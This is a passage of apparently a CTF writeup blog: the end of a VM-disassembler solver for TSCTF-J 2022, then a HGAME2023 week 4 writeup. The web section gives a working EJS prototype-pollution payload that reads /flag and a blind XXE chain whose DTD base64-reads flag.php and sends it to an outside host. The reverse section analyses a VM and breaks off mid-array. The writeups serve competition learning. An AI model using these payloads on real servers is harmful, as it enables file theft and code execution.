class="number">1</span></span><br><span class="line">    addr0=pattern_rol(code)</span><br><span class="line">    <span class="keyword">if</span> addr0==-<span class="number">1</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    ip+=<span class="number">12</span></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        addr1=pattern_rol(CodeList[ip:])</span><br><span class="line">        <span class="keyword">if</span> addr1==-<span class="number">1</span> <span class="keyword">or</span> addr1!=addr0:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        i+=<span class="number">1</span></span><br><span class="line">        ip+=<span class="number">12</span></span><br><span class="line">        addr0=addr1</span><br><span class="line">    <span class="keyword">return</span> [addr0, i%<span class="number">16</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rols_handler</span>(<span class="params">result</span>):</span><br><span class="line">    <span class="keyword">return</span> <span class="string">f&#x27;rol(*(<span class="subst">&#123;<span class="built_in">hex</span>(result[<span class="number">0</span>])&#125;</span>), <span class="subst">&#123;<span class="built_in">str</span>(result[<span class="number">1</span>])&#125;</span>)&#x27;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">patterns=[[pattern_rols,rols_handler,<span class="number">0</span>],[pattern_get,get_handler,<span class="number">20</span>],[pattern_put,put_handler,<span class="number">20</span>],[pattern_load_imm,load_imm_handler,<span class="number">11</span>],[pattern_jmp,jmp_handler,<span class="number">0</span>],[pattern_load_mem,load_mem_handler,<span class="number">6</span>],[pattern_load_reg,load_reg_handler,<span class="number">3</span>],[pattern_save_reg,save_reg_handler,<span class="number">3</span>],[pattern_not,not_handler,<span class="number">3</span>],[pattern_nor_reg,nor_reg_handler,<span class="number">3</span>]]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">disassemble</span>():</span><br><span class="line">    <span class="keyword">global</span> ip</span><br><span class="line">    ip=<span class="number">300</span></span><br><span class="line">    <span class="keyword">while</span> ip&lt;<span class="built_in">len</span>(CodeList):</span><br><span class="line">        flag=<span class="number">0</span></span><br><span class="line">        <span class="keyword">for</span> pattern <span class="keyword">in</span> patterns:</span><br><span class="line">            result=pattern[<span class="number">0</span>](CodeList[ip:])</span><br><span class="line">            <span class="keyword">if</span> result!=-<span class="number">1</span>:</span><br><span class="line">                dis=pattern[<span class="number">1</span>](result)</span><br><span class="line">                <span class="comment">#print(pattern)</span></span><br><span class="line">                <span class="keyword">if</span> dis!=<span class="literal">None</span>:</span><br><span class="line">                    <span class="built_in">print</span>(<span class="string">f&#x27;<span class="subst">&#123;<span class="built_in">hex</span>(ip)&#125;</span>:<span class="subst">&#123;dis&#125;</span>&#x27;</span>)</span><br><span class="line">                ip+=pattern[<span class="number">2</span>]</span><br><span class="line">                flag=<span class="number">1</span></span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">if</span> flag==<span class="number">0</span>:</span><br><span class="line">            <span class="built_in">input</span>(<span class="string">f&#x27;unknown instruction at ip=<span class="subst">&#123;<span class="built_in">hex</span>(ip)&#125;</span>&#x27;</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">solve1</span>(<span class="params">pc,l</span>):</span><br><span class="line">    <span class="keyword">global</span> ip</span><br><span class="line">    ip=pc</span><br><span class="line">    diff=<span class="number">0x78e</span>-<span class="number">0x689</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(l):</span><br><span class="line">        <span class="keyword">for</span> pattern <span class="keyword">in</span> patterns:</span><br><span class="line">            result=pattern[<span class="number">0</span>](CodeList[ip:])</span><br><span class="line">            <span class="keyword">if</span> result!=-<span class="number">1</span>:</span><br><span class="line">                dis=pattern[<span class="number">1</span>](result)</span><br><span class="line">                <span class="keyword">if</span> dis!=<span class="literal">None</span>:</span><br><span class="line">                    <span class="comment">#print(f&#x27;&#123;hex(ip)&#125;:&#123;dis&#125;&#x27;)</span></span><br><span class="line">                    dis=dis</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">        <span class="built_in">print</span>(<span class="built_in">chr</span>(rol(CodeList[pattern_not(CodeList[ip:])[<span class="number">0</span>]])),end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">        ip+=diff</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">solve2</span>(<span class="params">pc,l</span>):</span><br><span class="line">    <span class="keyword">global</span> ip</span><br><span class="line">    ip=pc</span><br><span class="line">    diff1=<span class="number">0xf41</span>-<span class="number">0xefc</span></span><br><span class="line">    diff2=<span class="number">0xf8c</span>-<span class="number">0xf41</span></span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(l):</span><br><span class="line">        result=pattern_not(CodeList[ip:])</span><br><span class="line">        <span class="comment">#print(not_handler(result))</span></span><br><span class="line">        num1=CodeList[result[<span class="number">0</span>]]</span><br><span class="line">        ip+=diff1</span><br><span class="line">        result=pattern_not(CodeList[ip:])</span><br><span class="line">        <span class="comment">#print(not_handler(result))</span></span><br><span class="line">        num2=CodeList[result[<span class="number">0</span>]]</span><br><span class="line">        ip+=diff2</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">32</span>,<span class="number">127</span>):</span><br><span class="line">            <span class="keyword">if</span> (rev(rev(num1)|i)|rev(rev(i)|num1)) == num2:</span><br><span class="line">                <span class="built_in">print</span>(<span class="built_in">chr</span>(i),end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">solve3</span>(<span class="params">pc,l</span>):</span><br><span class="line">    <span class="keyword">global</span> ip</span><br><span class="line">    ip=pc</span><br><span class="line">    diff=<span class="number">0x138e</span>-<span class="number">0x1337</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(l):</span><br><span class="line">        <span class="keyword">for</span> pattern <span class="keyword">in</span> patterns:</span><br><span class="line">            result=pattern[<span class="number">0</span>](CodeList[ip:])</span><br><span class="line">            <span class="keyword">if</span> result!=-<span class="number">1</span>:</span><br><span class="line">                dis=pattern[<span class="number">1</span>](result)</span><br><span class="line">                <span class="keyword">if</span> dis!=<span class="literal">None</span>:</span><br><span class="line">                    <span class="comment">#print(f&#x27;&#123;hex(ip)&#125;:&#123;dis&#125;&#x27;)</span></span><br><span class="line">                    dis=dis</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">        <span class="built_in">print</span>(<span class="built_in">chr</span>(rol_back(CodeList[pattern_not(CodeList[ip:])[<span class="number">0</span>]])),end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">        ip+=diff</span><br><span class="line"></span><br><span class="line">solve1(<span class="number">0x689</span>,<span class="number">9</span>)</span><br><span class="line">solve2(<span class="number">0xefc</span>,<span class="number">2</span>)</span><br><span class="line">solve1(<span class="number">0x10d6</span>,<span class="number">3</span>)</span><br><span class="line">solve3(<span class="number">0x1337</span>,<span class="number">4</span>)</span><br><span class="line">solve2(<span class="number">0x1487</span>,<span class="number">1</span>)</span><br><span class="line">solve3(<span class="number">0x1523</span>,<span class="number">1</span>)</span><br><span class="line">solve1(<span class="number">0x1628</span>,<span class="number">1</span>)</span><br><span class="line">solve2(<span class="number">0x1673</span>,<span class="number">1</span>)</span><br><span class="line">solve1(<span class="number">0x17bd</span>,<span class="number">1</span>)</span><br><span class="line">solve2(<span class="number">0x1808</span>,<span class="number">1</span>)</span><br><span class="line">solve3(<span class="number">0x18a4</span>,<span class="number">1</span>)</span><br><span class="line">solve1(<span class="number">0x19a9</span>,<span class="number">1</span>)</span><br><span class="line">solve3(<span class="number">0x1a00</span>,<span class="number">1</span>)</span><br><span class="line">solve2(<span class="number">0x1a4b</span>,<span class="number">3</span>)</span><br><span class="line">solve1(<span class="number">0x1cb5</span>,<span class="number">1</span>)</span><br><span class="line">solve2(<span class="number">0x1d00</span>,<span class="number">1</span>)</span><br><span class="line">solve3(<span class="number">0x1d9c</span>,<span class="number">1</span>)</span><br><span class="line">solve2(<span class="number">0x1de7</span>,<span class="number">1</span>)</span><br><span class="line">solve3(<span class="number">0x1e83</span>,<span class="number">1</span>)</span><br></pre></td></tr></table></figure><p>因为这个程序多半是由脚本生成的，指令单一且规律，因此也可以写个脚本自动识别加密方式解密，不过考虑到flag不长我就直接观察了（</p><p>最终得到flag:<code>TSCTF-J{StUp1D_r0BoT_0N1Y_KnOw_n0R}</code></p>]]></content>
    
    
    <summary type="html">TSCTF-J 2022 Reverse Robot赛题复现 by 没有头猪</summary>
    
    
    
    <category term="notes" scheme="https://zqy.ink/categories/notes/"/>
    
    
    <category term="CTF" scheme="https://zqy.ink/tags/CTF/"/>
    
    <category term="Reverse" scheme="https://zqy.ink/tags/Reverse/"/>
    
    <category term="TSCTF-J 2022" scheme="https://zqy.ink/tags/TSCTF-J-2022/"/>
    
    <category term="vm" scheme="https://zqy.ink/tags/vm/"/>
    
  </entry>
  
  <entry>
    <title>HGAME2023 week4 writeup</title>
    <link href="https://zqy.ink/2023/02/09/HGAME2023_wk4_wp/"/>
    <id>https://zqy.ink/2023/02/09/HGAME2023_wk4_wp/</id>
    <published>2023-02-09T21:29:00.000Z</published>
    <updated>2025-11-14T08:20:36.879Z</updated>
    
    <content type="html"><![CDATA[<h2 id="web"><a href="#web" class="headerlink" title="web"></a>web</h2><h3 id="Shared-Diary"><a href="#Shared-Diary" class="headerlink" title="Shared Diary"></a>Shared Diary</h3><p>merge函数中显然可以原型链污染，ban掉了<code>__proto__</code>可以<code>constructor.prototype</code>进行污染。找个ejs能用的payload即可</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line"><span class="attr">&quot;constructor&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span></span><br><span class="line"><span class="attr">&quot;prototype&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span></span><br><span class="line"><span class="attr">&quot;client&quot;</span><span class="punctuation">:</span> <span class="string">&quot;true&quot;</span><span class="punctuation">,</span></span><br><span class="line"><span class="attr">&quot;escapeFunction&quot;</span><span class="punctuation">:</span><span class="string">&quot;1;return process.mainModule.require(&#x27;fs&#x27;).readFileSync(&#x27;/flag&#x27;).toString()//&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span><span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><h3 id="Tell-Me"><a href="#Tell-Me" class="headerlink" title="Tell Me"></a>Tell Me</h3><p>注意到代码中的</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">libxml_disable_entity_loader</span>(<span class="literal">false</span>);</span><br></pre></td></tr></table></figure><p>可以XML实体盲注，服务器端</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!ENTITY % <span class="keyword">file</span> <span class="keyword">SYSTEM</span> <span class="string">&quot;php://filter/read=convert.base64-encode/resource=file:///var/www/html/flag.php&quot;</span>&gt;</span></span><br><span class="line"><span class="meta">&lt;!ENTITY % <span class="keyword">all</span> <span class="string">&quot;&lt;!ENTITY &amp;#37; send SYSTEM &#x27;http://exp.zqy.ink?file=%file;&#x27;&gt;&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure><p>payload</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">ANY</span> [</span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ENTITY % <span class="keyword">remote</span> <span class="keyword">SYSTEM</span> <span class="string">&quot;http://your_vps/xxe.dtd&quot;</span>&gt;</span></span></span><br><span class="line"><span class="meta">%remote;</span></span><br><span class="line"><span class="meta">%all;</span></span><br><span class="line"><span class="meta">%send;</span></span><br><span class="line"><span class="meta">]&gt;</span></span><br></pre></td></tr></table></figure><p>其中flag.php存储的位置是通过第一次路径错误PHP提供的warning得到的</p><h2 id="reverse"><a href="#reverse" class="headerlink" title="reverse"></a>reverse</h2><h3 id="vm"><a href="#vm" class="headerlink" title="vm"></a>vm</h3><p>分析得代码第一字节00-07对应的8种指令</p><p>op0: mov</p><p>op1: push</p><p>op2: pop</p><p>op3: 算术运算</p><p>op4: cmp</p><p>op5: jmp</p><p>op6: je</p><p>op7: jne</p><p>0xFF: 停机</p><p>写出汇编伪代码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line">start:</span><br><span class="line">    mov ecx, 0</span><br><span class="line">    add ecx, edx</span><br><span class="line">    mov eax, [ecx]</span><br><span class="line">    mov ebx, eax</span><br><span class="line">    mov ecx, 32h</span><br><span class="line">    add ecx, edx</span><br><span class="line">    mov eax, [ecx]</span><br><span class="line">    add ebx, eax</span><br><span class="line">    mov ecx, 64h</span><br><span class="line">    add ecx, edx</span><br><span class="line">    mov eax, [ecx]</span><br><span class="line">    xor ebx, eax</span><br><span class="line">    mov eax, 8</span><br><span class="line">    mov ecx, ebx</span><br><span class="line">    shl ebx, eax</span><br><span class="line">    and ebx, ff00h</span><br><span class="line">    shr ecx, eax</span><br><span class="line">    add ebx, ecx</span><br><span class="line">    mov eax, ebx</span><br><span class="line">    push eax</span><br><span class="line">    mov eax, 1</span><br><span class="line">    add edx, eax</span><br><span class="line">    mov eax, edx</span><br><span class="line">    mov ebx, 28h</span><br><span class="line">    cmp eax, ebx</span><br><span class="line">    jne start</span><br><span class="line">    mov edx, 0</span><br><span class="line">label:</span><br><span class="line">    pop ebx</span><br><span class="line">    mov ecx, 96h</span><br><span class="line">    add ecx, edx</span><br><span class="line">    mov eax, [ecx]</span><br><span class="line">    cmp eax, ebx</span><br><span class="line">    jne exit</span><br><span class="line">    mov eax, 1</span><br><span class="line">    add edx, eax</span><br><span class="line">    mov eax, edx</span><br><span class="line">    mov ebx, 28h</span><br><span class="line">    cmp eax, ebx</span><br><span class="line">    jne label</span><br><span class="line">exit:</span><br><span class="line">    hlt</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>分析逻辑得解密代码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdint.h&gt;</span></span></span><br><span class="line"><span class="type">unsigned</span> <span class="type">char</span> text[] =</span><br><span class="line">&#123;</span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x9B</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xA8</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x02</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xBC</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xAC</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x9C</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xCE</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xFA</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x02</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xB9</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0xFF</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x3A</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x74</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x48</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x19</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x69</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xE8</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x03</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xCB</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xC9</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0xFF</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xFC</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x80</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xD6</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x8D</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0xD7</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x72</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xA7</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x1D</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x3D</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x99</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x88</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x99</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xBF</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0xE8</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x96</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x2E</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x5D</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x57</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0xC9</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xA9</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0xBD</span>, <span class="number">0x00</span>, </span><br><span class="line">  <span class="number">0x00</span>, <span class="number">0x00</span>, <span 